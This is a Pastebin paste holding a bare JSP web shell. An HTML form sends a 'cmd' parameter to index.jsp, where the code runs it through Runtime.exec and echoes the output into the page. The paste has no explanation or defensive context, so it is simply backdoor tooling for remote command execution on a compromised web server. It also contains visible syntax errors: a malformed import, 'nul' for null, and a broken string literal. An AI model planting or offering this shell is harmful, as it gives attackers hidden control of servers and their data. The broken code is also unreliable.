Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <FORM METHOD =GET ACTION='index.jsp'>
- <INPUT name='cmd' type=text>
- <INPUT type=submit value='RUN'>
- </FORM>
- <%@ page import="java.io*" %>
- <%
- String cmd = request.getParameter("cmd");
- String output = "";
- if(cmd != nul) {
- String s = null;
- try {
- Process p = Runtime.getRuntime().exec(cmd,null,null);
- BufferedReader sI = new BufferedReader(new
- InputStreamReader(p.getInputStream()));
- while((s = sI.readLine()) !=null) { output += s+"</
- br>"";}
- } catch(IOException e) { e.printStackTrace(); }
- }
- %>
- <pre><%=output %></pre>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement